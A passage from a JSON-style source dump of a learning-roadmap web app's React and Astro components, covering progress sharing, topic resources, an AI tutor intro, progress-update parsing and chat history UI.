    "content": "import { ShareIcon } from 'lucide-react';\nimport { useAuth } from '../../hooks/use-auth';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { cn } from '../../lib/classname';\n\ntype ShareResourceLinkProps = {\n  roadmapId: string;\n};\n\nexport function ShareResourceLink(props: ShareResourceLinkProps) {\n  const { roadmapId } = props;\n  const user = useAuth();\n  const { copyText, isCopied } = useCopyText();\n\n  const handleShareResourceLink = () => {\n    const url = `${import.meta.env.PUBLIC_APP_URL}/${roadmapId}?s=${user?.id}`;\n    copyText(url);\n  };\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      <button\n        className={cn(\n          'flex items-center gap-1.5 rounded-lg border border-gray-200 bg-white p-1 px-1.5 text-left text-sm',\n          isCopied && 'text-green-500',\n        )}\n        onClick={handleShareResourceLink}\n      >\n        {!isCopied && (\n          <>\n            <ShareIcon className=\"h-4 w-4\" />\n            Share Progress\n          </>\n        )}\n\n        {isCopied && (\n          <>\n            <CheckIcon additionalClasses=\"h-4 w-4\" />\n            Copied\n          </>\n        )}\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/TopicResourcesModal.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { Modal } from '../Modal';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\nimport { roadmapContentOptions } from '../../queries/roadmap';\nimport { ModalLoader } from '../UserProgress/ModalLoader';\nimport { TopicDetailLink } from '../TopicDetail/TopicDetailLink';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { ErrorIcon } from '../ReactIcons/ErrorIcon';\nimport { markdownToHtml } from '../../lib/markdown';\n\ntype TopicResourcesModalProps = {\n  roadmapId: string;\n  topicId: string;\n  onClose: () => void;\n};\n\nexport function TopicResourcesModal(props: TopicResourcesModalProps) {\n  const { roadmapId, topicId, onClose } = props;\n\n  const {\n    data: roadmapContentData,\n    isLoading: isLoadingRoadmapContent,\n    error,\n  } = useQuery(roadmapContentOptions(roadmapId), queryClient);\n\n  const topicContent = roadmapContentData?.[topicId];\n  const links = topicContent?.links || [];\n\n  return (\n    <Modal onClose={onClose} wrapperClassName=\"max-w-lg\">\n      {!isLoadingRoadmapContent && !error && topicContent && (\n        <div className=\"p-4\">\n          <h2 className=\"text-xl font-bold\">{topicContent?.title}</h2>\n\n          <div\n            className=\"course-content course-ai-content prose prose-sm mt-1 max-w-full overflow-hidden text-sm\"\n            dangerouslySetInnerHTML={{\n              __html: markdownToHtml(topicContent.description, true),\n            }}\n          />\n\n          {links.length > 0 && (\n            <ul className=\"mt-4 space-y-1\">\n              {links.map((link, index) => {\n                return (\n                  <li key={`${link.url}-${index}`}>\n                    <TopicDetailLink\n                      url={link.url}\n                      type={link.type}\n                      title={link.title}\n                    />\n                  </li>\n                );\n              })}\n            </ul>\n          )}\n        </div>\n      )}\n\n      {(isLoadingRoadmapContent || error || !topicContent) && (\n        <div className=\"rounded-lg bg-white p-5\">\n          <div className=\"flex items-center\">\n            {isLoadingRoadmapContent && (\n              <>\n                <Spinner className=\"h-6 w-6\" isDualRing={false} />\n                <span className=\"ml-3 text-lg font-semibold\">\n                  Loading Topic Resources...\n                </span>\n              </>\n            )}\n\n            {(error || !topicContent) && !isLoadingRoadmapContent && (\n              <>\n                <ErrorIcon additionalClasses=\"h-6 w-6 text-red-500\" />\n                <span className=\"ml-3 text-lg font-semibold\">\n                  {!topicContent\n                    ? 'No resources found'\n                    : (error?.message ?? 'Something went wrong')}\n                </span>\n              </>\n            )}\n          </div>\n        </div>\n      )}\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/TutorIntroMessage.tsx",
    "content": "import type { RoadmapJSON } from '../../queries/roadmap';\n\ntype TutorIntroMessageProps = {\n  roadmap: RoadmapJSON;\n};\n\nexport function TutorIntroMessage(props: TutorIntroMessageProps) {\n  const { roadmap } = props;\n\n  const topicNodes = roadmap.nodes.filter((node) => node.type === 'topic');\n\n  const firstTopicNode = topicNodes[0];\n  const firstTopicTitle = firstTopicNode?.data?.label || 'XYZ';\n\n  const secondTopicNode = topicNodes[1];\n  const secondTopicTitle = secondTopicNode?.data?.label || 'XYZ';\n\n  const capabilities = [\n    {\n      icon: '📚',\n      title: 'Learn concepts:',\n      description: 'Ask me about any topics on the roadmap',\n      examples:\n        '\"Explain what React hooks are\" or \"How does async/await work?\"',\n    },\n    {\n      icon: '📊',\n      title: 'Track progress:',\n      description: 'Mark topics as done, learning, or skipped',\n      examples: `\"Mark ${firstTopicTitle} as done\" or \"Show my overall progress\"`,\n    },\n    {\n      icon: '🎯',\n      title: 'Recommendations:',\n      description: 'Find what to learn next or explore other roadmaps',\n      examples: `\"What should I learn next?\" or \"Recommend roadmaps for backend development\"`,\n    },\n    {\n      icon: '🔍',\n      title: 'Find resources:',\n      description: 'Get learning materials for specific topics',\n      examples: `\"Show me resources for learning ${secondTopicTitle}\"`,\n    },\n    {\n      icon: '🔗',\n      title: 'Share progress:',\n      description: 'Get a link to share your learning progress',\n      examples: '\"Give me my shareable progress link\"',\n    },\n  ];\n\n  return (\n    <div className=\"space-y-2 text-sm text-gray-700\">\n      <div className=\"flex items-start gap-3\">\n        <div>\n          <h3 className=\"mb-2 font-medium text-gray-900\">\n            Hi! I'm your AI learning assistant 👋\n          </h3>\n          <p className=\"mb-3\">\n            I'm here to guide you through your learning journey on this roadmap.\n            I can help you understand concepts, track your progress, and provide\n            personalized learning advice.\n          </p>\n        </div>\n      </div>\n\n      <div className=\"space-y-3\">\n        <h4 className=\"font-medium text-gray-900\">\n          Here's what I can help you with:\n        </h4>\n\n        <div className=\"space-y-3\">\n          {capabilities.map((capability, index) => (\n            <div key={index} className=\"flex items-start gap-2\">\n              <span className={`font-medium`}>{capability.icon}</span>\n              <div>\n                <span className=\"font-medium text-black\">\n                  {capability.title}\n                </span>{' '}\n                {capability.description}\n                <div className=\"mt-1 text-xs text-gray-600\">\n                  Try: {capability.examples}\n                </div>\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n\n      <div className=\"mt-4 rounded-lg bg-gray-50 p-3\">\n        <p className=\"text-xs text-black\">\n          <span className=\"font-medium\">Tip:</span> I can see your current\n          progress on the roadmap, so my advice will be personalized to your\n          learning journey. Just ask me anything about the topics you see on the\n          roadmap!\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/UserProgressActionList.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\nimport { Fragment, useMemo, useState } from 'react';\nimport { renderTopicProgress } from '../../lib/resource-progress';\nimport { updateResourceProgress } from '../../lib/resource-progress';\nimport { pageProgressMessage } from '../../stores/page';\nimport type { ResourceProgressType } from '../../lib/resource-progress';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { useToast } from '../../hooks/use-toast';\nimport { Check, ChevronRightIcon, Loader2Icon } from 'lucide-react';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { httpPost } from '../../lib/query-http';\nimport { cn } from '../../lib/classname';\n\ntype UpdateUserProgress = {\n  id: string;\n  action: 'done' | 'learning' | 'skipped' | 'pending';\n};\n\nfunction parseUserProgress(content: string): UpdateUserProgress[] {\n  const items: UpdateUserProgress[] = [];\n\n  const progressRegex = /<update-progress-item>.*?<\\/update-progress-item>/gs;\n  const progressItems = content.match(progressRegex);\n  if (!progressItems) {\n    return items;\n  }\n\n  for (const progressItem of progressItems) {\n    const progressItemRegex = /<topic-id>(.*?)<\\/topic-id>/;\n    const topicId = progressItem.match(progressItemRegex)?.[1]?.trim();\n    const topicActionRegex = /<topic-action>(.*?)<\\/topic-action>/;\n    const topicAction = progressItem\n      .match(topicActionRegex)?.[1]\n      .trim()\n      ?.toLowerCase();\n\n    if (!topicId || !topicAction) {\n      continue;\n    }\n\n    items.push({\n      id: topicId,\n      action: topicAction as UpdateUserProgress['action'],\n    });\n  }\n\n  return items;\n}\n\ntype BulkUpdateResourceProgressBody = {\n  done: string[];\n  learning: string[];\n  skipped: string[];\n  pending: string[];\n};\n\ntype BulkUpdateResourceProgressResponse = {\n  done: string[];\n  learning: string[];\n  skipped: string[];\n};\n\ntype UserProgressActionListProps = {\n  roadmapId: string;\n  content: string;\n  isLoading?: boolean;\n};\n\nexport function UserProgressActionList(props: UserProgressActionListProps) {\n  const { roadmapId, content, isLoading = false } = props;\n\n  const toast = useToast();\n  const updateUserProgress = parseUserProgress(content);\n\n  const { data: roadmapTreeData } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const {\n    mutate: bulkUpdateResourceProgress,\n    isPending: isBulkUpdating,\n    isSuccess: isBulkUpdateSuccess,\n  } = useMutation(\n    {\n      mutationFn: (body: BulkUpdateResourceProgressBody) => {\n        return httpPost<BulkUpdateResourceProgressResponse>(\n          `/v1-bulk-update-resource-progress/${roadmapId}`,\n          body,\n        );\n      },\n      onSuccess: () => {\n        updateUserProgress.forEach((item) => {\n          renderTopicProgress(item.id, item.action);\n        });\n\n        return queryClient.invalidateQueries(\n          userResourceProgressOptions('roadmap', roadmapId),\n        );\n      },\n      onSettled: () => {\n        pageProgressMessage.set('');\n      },\n      onError: (error) => {\n        toast.error(\n          error?.message ?? 'Something went wrong, please try again.',\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const progressItemWithText = useMemo(() => {\n    return updateUserProgress.map((item) => {\n      const roadmapTreeItem = roadmapTreeData?.find(\n        (mapping) => mapping.nodeId === item.id,\n      );\n\n      return {\n        ...item,\n        text: (roadmapTreeItem?.text || item.id)\n          ?.split(' > ')\n          .slice(1)\n          .join(' > '),\n      };\n    });\n  }, [updateUserProgress, roadmapTreeData]);\n\n  const [showAll, setShowAll] = useState(false);\n  const itemCountToShow = 4;\n  const itemsToShow = showAll\n    ? progressItemWithText\n    : progressItemWithText.slice(0, itemCountToShow);\n\n  const hasMoreItemsToShow = progressItemWithText.length > itemCountToShow;\n\n  return (\n    <div className=\"relative my-6 w-full first:mt-0 last:mb-0\">\n      <div className=\"relative flex flex-col gap-0.5\">\n        {itemsToShow.map((item) => (\n          <ProgressItem\n            key={item.id}\n            roadmapId={roadmapId}\n            topicId={item.id}\n            text={item.text}\n            action={item.action}\n            isStreaming={isLoading}\n            isBulkUpdating={isBulkUpdating}\n            isBulkUpdateSuccess={isBulkUpdateSuccess}\n          />\n        ))}\n\n        {hasMoreItemsToShow && (\n          <div className=\"relative mt-1 flex items-center justify-between gap-2\">\n            <button\n              className=\"z-50 flex items-center gap-1 rounded-md bg-gray-400 px-2 py-1 text-xs font-medium text-white hover:opacity-80 disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setShowAll(!showAll)}\n              disabled={isLoading}\n            >\n              {isLoading && (\n                <>\n                  <Loader2Icon className=\"size-3 animate-spin\" />\n                  {progressItemWithText.length} loaded ..\n                </>\n              )}\n\n              {!isLoading && (\n                <>\n                  {showAll\n                    ? '- Show Less'\n                    : `+ Show ${progressItemWithText.length - itemCountToShow} More`}\n                </>\n              )}\n            </button>\n\n            <button\n              className=\"z-50 flex items-center gap-1 rounded-md bg-green-600 px-2 py-1 text-xs font-medium text-white hover:bg-green-700 disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-70\"\n              disabled={isBulkUpdating || isLoading || isBulkUpdateSuccess}\n              onClick={() => {\n                const done = updateUserProgress\n                  .filter((item) => item.action === 'done')\n                  .map((item) => item.id);\n                const learning = updateUserProgress\n                  .filter((item) => item.action === 'learning')\n                  .map((item) => item.id);\n                const skipped = updateUserProgress\n                  .filter((item) => item.action === 'skipped')\n                  .map((item) => item.id);\n                const pending = updateUserProgress\n                  .filter((item) => item.action === 'pending')\n                  .map((item) => item.id);\n\n                bulkUpdateResourceProgress({\n                  done,\n                  learning,\n                  skipped,\n                  pending,\n                });\n              }}\n            >\n              {isBulkUpdating && (\n                <Loader2Icon className=\"size-3 animate-spin\" />\n              )}\n              {!isBulkUpdating && <CheckIcon additionalClasses=\"size-3\" />}\n              Apply All\n            </button>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\ntype ProgressItemProps = {\n  roadmapId: string;\n  topicId: string;\n  text: string;\n  action: UpdateUserProgress['action'];\n  isStreaming: boolean;\n  isBulkUpdating: boolean;\n  isBulkUpdateSuccess: boolean;\n};\n\nfunction ProgressItem(props: ProgressItemProps) {\n  const {\n    roadmapId,\n    topicId,\n    text,\n    action,\n    isStreaming,\n    isBulkUpdating,\n    isBulkUpdateSuccess,\n  } = props;\n\n  const toast = useToast();\n\n  const {\n    mutate: updateTopicStatus,\n    isSuccess,\n    isPending: isUpdating,\n  } = useMutation(\n    {\n      mutationFn: (action: ResourceProgressType) => {\n        return updateResourceProgress(\n          {\n            resourceId: roadmapId,\n            resourceType: 'roadmap',\n            topicId,\n          },\n          action,\n        );\n      },\n      onMutate: () => {},\n      onSuccess: () => {\n        renderTopicProgress(topicId, action);\n      },\n      onError: () => {\n        toast.error('Something went wrong, please try again.');\n      },\n      onSettled: () => {\n        pageProgressMessage.set('');\n        return queryClient.invalidateQueries(\n          userResourceProgressOptions('roadmap', roadmapId),\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const textParts = text.split(' > ');\n  const lastIndex = textParts.length - 1;\n\n  return (\n    <div className=\"flex min-h-[40px] items-center justify-between gap-2 rounded-lg border border-gray-200 bg-white py-1 pr-1 pl-3\">\n      <span className=\"flex items-center gap-1 truncate text-sm text-gray-500\">\n        {textParts.map((part, index) => {\n          return (\n            <Fragment key={index}>\n              {part}\n              {index !== lastIndex && (\n                <span className=\"text-gray-500\">\n                  <ChevronRightIcon className=\"size-3 shrink-0\" />{' '}\n                </span>\n              )}\n            </Fragment>\n          );\n        })}\n      </span>\n      {!isSuccess && !isBulkUpdateSuccess && (\n        <>\n          {!isStreaming && (\n            <button\n              className={cn(\n                `flex shrink-0 items-center gap-1.5 rounded-md border border-gray-200 px-2 py-1 text-xs disabled:pointer-events-none disabled:opacity-40`,\n                {\n                  'bg-green-100 hover:border-green-300 hover:bg-green-200':\n                    action === 'done',\n                  'bg-yellow-100 hover:border-yellow-300 hover:bg-yellow-200':\n                    action === 'learning',\n                  'bg-gray-800 text-white hover:border-black hover:bg-black':\n                    action === 'skipped',\n                  'bg-gray-100 hover:border-gray-300 hover:bg-gray-200':\n                    action === 'pending',\n                },\n              )}\n              onClick={() => updateTopicStatus(action)}\n              disabled={isStreaming || isUpdating || isBulkUpdating}\n            >\n              {(isUpdating || isBulkUpdating) && (\n                <Loader2Icon className=\"size-4 animate-spin\" />\n              )}\n              {!isUpdating && !isBulkUpdating && (\n                <>\n                  <Check strokeWidth={3} className=\"size-3\" />\n                  Mark it as {action}\n                </>\n              )}\n            </button>\n          )}\n          {isStreaming && (\n            <span className=\"flex size-[30px] items-center justify-center text-gray-300\">\n              <Loader2Icon className=\"size-4 animate-spin\" />\n            </span>\n          )}\n        </>\n      )}\n      {(isSuccess || isBulkUpdateSuccess) && (\n        <span className=\"flex size-[30px] items-center justify-center text-green-500\">\n          <CheckIcon additionalClasses=\"size-4\" />\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/UserProgressList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { getPercentage } from '../../lib/number';\n\ntype UserProgressListProps = {\n  totalTopicCount: number;\n  roadmapId: string;\n};\n\nexport function UserProgressList(props: UserProgressListProps) {\n  const { totalTopicCount, roadmapId } = props;\n\n  const { data: userResourceProgressData } = useQuery(\n    userResourceProgressOptions('roadmap', roadmapId),\n    queryClient,\n  );\n\n  const doneCount = userResourceProgressData?.done?.length ?? 0;\n  const skippedCount = userResourceProgressData?.skipped?.length ?? 0;\n\n  const totalFinished = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalFinished, totalTopicCount);\n\n  return (\n    <div className=\"relative my-6 flex flex-col gap-3 rounded-xl border border-gray-200 bg-white p-4 first:mt-0 last:mb-0\">\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <span className=\"text-sm font-medium text-gray-600\">Progress</span>\n          <span className=\"rounded-full bg-gray-100 px-2 py-0.5 text-xs font-medium text-gray-700\">\n            {progressPercentage}%\n          </span>\n        </div>\n        <span className=\"hidden text-sm font-medium text-gray-600 md:block\">\n          {totalFinished} / {totalTopicCount} topics\n        </span>\n      </div>\n\n      <div className=\"relative h-2 w-full overflow-hidden rounded-full bg-gray-100\">\n        <div\n          className=\"absolute inset-0 bg-gradient-to-r from-green-500 to-green-600 transition-all duration-300\"\n          style={{ width: `${progressPercentage}%` }}\n        />\n      </div>\n\n      <div className=\"flex items-center gap-4 text-xs text-gray-500\">\n        <div className=\"flex items-center gap-1\">\n          <div className=\"h-2 w-2 rounded-full bg-green-500\" />\n          <span>Completed: {doneCount}</span>\n        </div>\n        <div className=\"flex items-center gap-1\">\n          <div className=\"h-2 w-2 rounded-full bg-gray-400\" />\n          <span>Skipped: {skippedCount}</span>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChatHistory/RoadmapAIChatHistory.tsx",
    "content": "import { HistoryIcon, Loader2Icon } from 'lucide-react';\nimport { Popover, PopoverContent, PopoverTrigger } from '../Popover';\nimport { useEffect, useMemo, useState } from 'react';\nimport { useInfiniteQuery, useQuery } from '@tanstack/react-query';\nimport { listChatHistoryOptions } from '../../queries/chat-history';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { groupChatHistory } from '../../helper/grouping';\nimport { ChatHistoryGroup } from '../AIChatHistory/ChatHistoryGroup';\nimport { queryClient } from '../../stores/query-client';\nimport { SearchAIChatHistory } from '../AIChatHistory/SearchAIChatHistory';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { UpgradeToProMessage } from '../AIChatHistory/ListChatHistory';\nimport { showLoginPopup } from '../../lib/popup';\n\ntype RoadmapAIChatHistoryProps = {\n  roadmapId: string;\n  activeChatHistoryId?: string;\n  activeChatHistoryTitle?: string;\n  onChatHistoryClick: (id: string) => void;\n  onDelete?: (id: string) => void;\n  onUpgrade?: () => void;\n};\n\nexport function RoadmapAIChatHistory(props: RoadmapAIChatHistoryProps) {\n  const {\n    roadmapId,\n    activeChatHistoryId,\n    activeChatHistoryTitle,\n    onChatHistoryClick,\n    onDelete,\n    onUpgrade,\n  } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isLoading, setIsLoading] = useState(true);\n  const [query, setQuery] = useState('');\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n  const isPaidUser = userBillingDetails?.status === 'active';\n  const {\n    data: chatHistory,\n    hasNextPage,\n    fetchNextPage,\n    isFetchingNextPage,\n    isLoading: isLoadingInfiniteQuery,\n  } = useInfiniteQuery(\n    {\n      ...listChatHistoryOptions({\n        roadmapId,\n        query,\n      }),\n      enabled: !!roadmapId && isLoggedIn() && isOpen && isPaidUser,\n    },\n    queryClient,\n  );\n\n  // no initial spinner if not paid user\n  // because we won't fetch the data\n  useEffect(() => {\n    if (!isPaidUser) {\n      setIsLoading(false);\n    }\n  }, [isPaidUser]);\n\n  useEffect(() => {\n    if (!chatHistory || isBillingDetailsLoading) {\n      return;\n    }\n\n    setIsLoading(false);\n  }, [chatHistory, isBillingDetailsLoading]);\n\n  const groupedChatHistory = useMemo(() => {\n    const allHistories = chatHistory?.pages?.flatMap((page) => page.data);\n    return groupChatHistory(allHistories ?? []);\n  }, [chatHistory?.pages]);\n  const isEmptyHistory = Object.values(groupedChatHistory ?? {}).every(\n    (group) => group.histories.length === 0,\n  );\n\n  return (\n    <Popover\n      open={isOpen}\n      onOpenChange={(open) => {\n        if (!isLoggedIn()) {\n          showLoginPopup();\n          return;\n        }\n\n        setIsOpen(open);\n      }}\n    >\n      <PopoverTrigger className=\"flex items-center justify-center gap-2 rounded-md bg-gray-200 px-3 py-1.5 text-xs text-gray-900 hover:bg-gray-300 hover:text-black\">\n        <HistoryIcon className=\"size-3.5\" />\n        {activeChatHistoryTitle || 'Chat History'}\n      </PopoverTrigger>\n      <PopoverContent\n        className=\"z-[999] flex max-h-[400px] w-80 flex-col overflow-hidden p-0 shadow-lg\"\n        align=\"end\"\n        sideOffset={4}\n      >\n        {isLoading && (\n          <div className=\"flex items-center justify-center py-10\">\n            <Loader2Icon className=\"size-6 animate-spin stroke-[2.5] text-gray-400\" />\n          </div>\n        )}\n\n        {!isLoading && !isPaidUser && (\n          <UpgradeToProMessage\n            className=\"mt-0 px-10 py-10\"\n            onUpgrade={() => {\n              setIsOpen(false);\n              onUpgrade?.();\n            }}\n          />\n        )}\n\n        {!isLoading && isPaidUser && (\n          <>\n            <SearchAIChatHistory\n              onSearch={setQuery}\n              isLoading={isLoadingInfiniteQuery}\n              className=\"mt-0\"\n              inputClassName=\"border-x-0 border-t-0 border-b border-b-gray-200 rounded-none focus:border-b-gray-200\"\n            />\n\n            <div className=\"scrollbar-track-transparent scrollbar-thin scrollbar-thumb-gray-300 grow space-y-4 overflow-y-auto p-2 pt-4\">\n              {isEmptyHistory && (\n                <div className=\"flex items-center justify-center py-10\">\n                  <p className=\"text-sm text-gray-500\">No chat history</p>\n                </div>\n              )}\n\n              {Object.entries(groupedChatHistory ?? {}).map(([key, value]) => {\n                if (value.histories.length === 0) {\n                  return null;\n                }\n\n                return (\n                  <ChatHistoryGroup\n                    key={key}\n                    title={value.title}\n                    histories={value.histories}\n                    activeChatHistoryId={activeChatHistoryId}\n                    onChatHistoryClick={(id) => {\n                      setIsOpen(false);\n                      onChatHistoryClick(id);\n                    }}\n                    onDelete={(id) => {\n                      setIsOpen(false);\n                      onDelete?.(id);\n                    }}\n                  />\n                );\n              })}\n\n              {hasNextPage && (\n                <div className=\"mt-4\">\n                  <button\n                    className=\"flex w-full items-center justify-center gap-2 text-sm text-gray-500 hover:text-black\"\n                    onClick={() => {\n                      fetchNextPage();\n                    }}\n                    disabled={isFetchingNextPage}\n                  >\n                    {isFetchingNextPage && (\n                      <>\n                        <Loader2Icon className=\"h-4 w-4 animate-spin\" />\n                        Loading more...\n                      </>\n                    )}\n                    {!isFetchingNextPage && 'Load More'}\n                  </button>\n                </div>\n              )}\n            </div>\n          </>\n        )}\n      </PopoverContent>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAlert.tsx",
    "content": "import {\n    BadgeCheck,\n    HeartHandshake,\n    Telescope,\n    type LucideIcon,\n} from 'lucide-react';\nimport type { ReactNode } from 'react';\nimport { cn } from '../lib/classname';\n\ntype RoadmapAlertProps = {\n  title: string;\n  badgeText?: string;\n  description: string | ReactNode;\n  floatingIcon: LucideIcon;\n  className?: string;\n};\n\nexport function RoadmapAlert(props: RoadmapAlertProps) {\n  const {\n    title,\n    badgeText,\n    description,\n    floatingIcon: FloatingIcon,\n    className,\n  } = props;\n\n  return (\n    <div\n      className={cn(\n        'relative mb-3 w-full rounded-xl bg-yellow-100 px-4 py-3 text-yellow-800',\n        className,\n      )}\n    >\n      <h2 className=\"flex items-center text-base font-semibold text-yellow-800 sm:text-lg\">\n        {title}{' '}\n        {badgeText && (\n          <span className=\"ml-1.5 rounded-md border border-yellow-500 bg-yellow-200 px-1.5 text-xs uppercase tracking-wide text-yellow-800\">\n            {badgeText}\n          </span>\n        )}\n      </h2>\n      <p className=\"mb-2 mt-1 text-balance\">{description}</p>\n      <p className=\"mb-1.5 mt-2 flex flex-col gap-2 text-sm md:flex-row\">\n        <a\n          href=\"/roadmaps\"\n          className=\"flex items-center gap-1.5 rounded-md border border-yellow-600 bg-yellow-200 px-2 py-1 text-yellow-800 transition-colors hover:bg-yellow-300\"\n        >\n          <BadgeCheck size={15} />\n          Visit Official Roadmaps\n        </a>\n        <a\n          href=\"/community\"\n          className=\"flex items-center gap-1.5 rounded-md border border-yellow-600 px-2 py-1 text-yellow-700 transition-colors hover:bg-yellow-300 hover:text-yellow-800\"\n        >\n          <HeartHandshake size={15} />\n          Community Roadmaps\n        </a>\n        <a\n          href=\"/ai-roadmaps/explore\"\n          className=\"flex items-center gap-1.5 rounded-md border border-yellow-600 px-2 py-1 text-yellow-700 transition-colors hover:bg-yellow-300 hover:text-yellow-800\"\n        >\n          <Telescope size={15} />\n          AI Generated Roadmaps\n        </a>\n      </p>\n\n      <FloatingIcon className=\"pointer-events-none absolute right-2 top-2 hidden h-12 w-12 text-yellow-500 opacity-50 sm:block md:bottom-2 md:top-auto\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapBanner.astro",
    "content": "---\nimport type { RoadmapFrontmatter } from '../lib/roadmap';\n\nexport interface Props {\n  roadmapId: string;\n  roadmap: RoadmapFrontmatter;\n}\n\nconst { roadmap, roadmapId } = Astro.props;\n---\n\n<a\n  href={`/${roadmapId}`}\n  class='flex items-center justify-center bg-yellow-100 text-yellow-900 border-b py-2 sm:py-3 text-sm sm:text-md hover:bg-yellow-200'\n>\n  <span class='container'>\n    <span class='hidden sm:inline'>Click to visit the interactive version of</span>\n    <span class='inline sm:hidden'>Visit complete</span>\n\n    <span class='sm:lowercase ml-0.5 font-medium underline underline-offset-1'>{roadmap.briefTitle} roadmap</span>\n  </span>\n</a>\n"
  },
  {
    "path": "src/components/RoadmapHeader.astro",
    "content": "---\nimport {\n  ArrowLeftIcon,\n  BookOpenIcon,\n  Bot,\n  FolderKanbanIcon,\n  MapIcon,\n} from 'lucide-react';\nimport LoginPopup from './AuthenticationFlow/LoginPopup.astro';\nimport { DownloadRoadmapButton } from './DownloadRoadmapButton';\nimport { MarkFavorite } from './FeaturedItems/MarkFavorite';\nimport ProgressHelpPopup from './ProgressHelpPopup.astro';\nimport { ScheduleButton } from './Schedule/ScheduleButton';\nimport { ShareRoadmapButton } from './ShareRoadmapButton';\nimport { TabLink } from './TabLink';\nimport { PersonalizedRoadmap } from './PersonalizedRoadmap/PersonalizedRoadmap';\nimport RoadmapFeedbackAlert from './Roadmaps/RoadmapFeedbackAlert.astro';\nimport {markdownToHtml} from '../lib/markdown';\n\nexport interface Props {\n  title: string;\n  description: string;\n  partner?: {\n    description: string;\n    link: string;\n    linkText: string;\n  };\n  roadmapId: string;\n  hasSearch?: boolean;\n  projectCount?: number;\n  coursesCount?: number;\n  hasAIChat?: boolean;\n  isForkable?: boolean;\n  isNew?: boolean;\n  activeTab?: 'roadmap' | 'projects' | 'courses';\n}\n\nconst {\n  title,\n  description,\n  roadmapId,\n  partner,\n  hasAIChat = false,\n  projectCount = 0,\n  activeTab = 'roadmap',\n  coursesCount = 0,\n  isNew = false,\n} = Astro.props;\n\nconst hasCourses = coursesCount > 0;\nconst hasProjects = projectCount > 0;\n---\n\n<LoginPopup />\n<ProgressHelpPopup />\n\n<div class='container mt-0 flex flex-col gap-2.5 px-0 sm:mt-3 sm:px-4'>\n  {\n    partner && (\n      <div class='hidden rounded-md border bg-white px-2 py-1.5 sm:block'>\n        <p class='py-0.5 text-left text-sm'>\n          <span class='badge mr-1'>Partner</span>\n          {partner.description}\n          <a href={partner.link} target='_blank' class='font-medium underline'>\n            {partner.linkText}\n          </a>\n        </p>\n      </div>\n    )\n  }\n\n  {isNew && <RoadmapFeedbackAlert roadmapId={roadmapId} title={title} />}\n\n  <div\n    class='relative rounded-none border bg-white px-5 pt-4 pb-0 sm:rounded-lg'\n  >\n    <div class='flex items-start justify-between'>\n      <a\n        class='inline-flex items-center justify-center rounded-md bg-gray-300 px-2 py-1.5 text-xs font-medium hover:bg-gray-400 sm:hidden sm:text-sm'\n        aria-label='Back to roadmaps'\n        href={'/roadmaps'}\n      >\n        <ArrowLeftIcon className='h-4 w-4' />\n      </a>\n\n      <a\n        href='/roadmaps'\n        class='hidden rounded-md text-sm font-medium text-gray-500 transition-all hover:text-black focus:outline-0 sm:block'\n        aria-label='Back to All Roadmaps'\n      >\n        &larr;&nbsp;<span>&nbsp;All Roadmaps</span>\n      </a>\n      <div\n        class='relative top-0 right-0 flex items-center gap-1 sm:-top-0.5 sm:-right-2'\n      >\n        <MarkFavorite\n          resourceId={roadmapId}\n          resourceType='roadmap'\n          className='relative top-px mr-2 text-gray-500 opacity-100! hover:text-gray-600 focus:outline-0 [&>svg]:h-4 [&>svg]:w-4 [&>svg]:stroke-gray-400 [&>svg]:stroke-[0.4] [&>svg]:hover:stroke-gray-600 sm:[&>svg]:h-4 sm:[&>svg]:w-4'\n          client:only='react'\n        />\n        <ScheduleButton\n          resourceId={roadmapId}\n          resourceType='roadmap'\n          resourceTitle={title}\n          client:load\n        />\n        <DownloadRoadmapButton roadmapId={roadmapId} client:idle />\n        <ShareRoadmapButton\n          description={description}\n          pageUrl={`https://roadmap.sh/${roadmapId}`}\n          client:idle\n        />\n      </div>\n    </div>\n    <div class:list={['mt-5 mb-5 sm:mt-12 sm:mb-12']}>\n      <h1 class='mb-0.5 text-2xl font-bold sm:mb-3.5 sm:text-5xl'>\n        {title}\n      </h1>\n      <p class='text-sm text-balance text-gray-500 sm:text-lg' set:html={markdownToHtml(description)}>\n        \n      </p>\n    </div>\n\n    {\n      (\n        <div class='flex justify-between gap-2 sm:gap-0'>\n          <div class='relative top-px flex gap-1 sm:gap-2'>\n            <TabLink\n              url={`/${roadmapId}`}\n              icon={MapIcon}\n              isActive={activeTab === 'roadmap'}\n              